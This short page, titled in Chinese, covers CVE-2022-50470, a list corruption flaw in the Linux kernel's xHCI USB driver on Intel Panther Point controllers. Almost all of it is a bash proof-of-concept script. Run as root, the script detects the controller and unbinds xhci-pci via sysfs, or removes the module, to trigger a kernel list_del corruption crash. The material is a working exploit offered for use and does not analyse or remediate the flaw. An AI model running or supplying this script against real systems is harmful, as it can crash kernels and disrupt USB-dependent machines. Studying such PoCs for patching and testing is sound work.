CVE-2022-50470 Linux内核xHCI驱动列表损坏漏洞

# CVE-2022-50470 PoC - Trigger list_del corruption in xHCI driver # Affected: Linux kernel with Intel Panther Point PCH (Ivy Bridge) xHCI # This PoC triggers the vulnerability by unbinding xhci-pci driver # while endpoints are still on the bandwidth list. #!/bin/bash # Check if running as root (required for driver manipulation) if [ "$EUID" -ne 0 ]; then echo "This PoC requires root privileges" exit 1 fi # Step 1: Verify Intel Panther Point PCH (Ivy Bridge) xHCI controller # Check for the specific Intel xHCI device (PCI ID 8086:1e31) echo "[*] Checking for Intel Panther Point PCH xHCI controller..." if lspci | grep -q "1e31"; then echo "[+] Vulnerable xHCI controller detected" else echo "[-] Vulnerable controller not found, this may not work" fi # Step 2: Ensure there are USB devices connected to trigger endpoint allocation # The vulnerability requires endpoints to be on the bandwidth list echo "[*] Ensure USB devices are connected to allocate bandwidth endpoints" lsusb # Step 3: Unbind xhci-pci to trigger the vulnerability # This will cause xhci_mem_cleanup() to attempt deleting freed endpoints echo "[*] Triggering vulnerability by unbinding xhci-pci..." echo "0000:00:14.0" > /sys/bus/pci/drivers/xhci_pci/unbind 2>/dev/null if [ $? -eq 0 ]; then echo "[+] xhci-pci unbound successfully" echo "[*] Check dmesg for list_del corruption crash" dmesg | tail -20 else echo "[-] Failed to unbind, trying alternative method..." # Alternative: use modprobe to remove the module modprobe -r xhci_pci 2>/dev/null if [ $? -eq 0 ]; then echo "[+] xhci_pci module removed" else echo "[-] Module removal failed - module may be in use" fi fi # Step 4: Rebind to restore functionality (if system survives) sleep 2 echo "0000:00:14.0" > /sys/bus/pci/drivers/xhci_pci/bind 2>/dev/null echo "[*] PoC execution completed"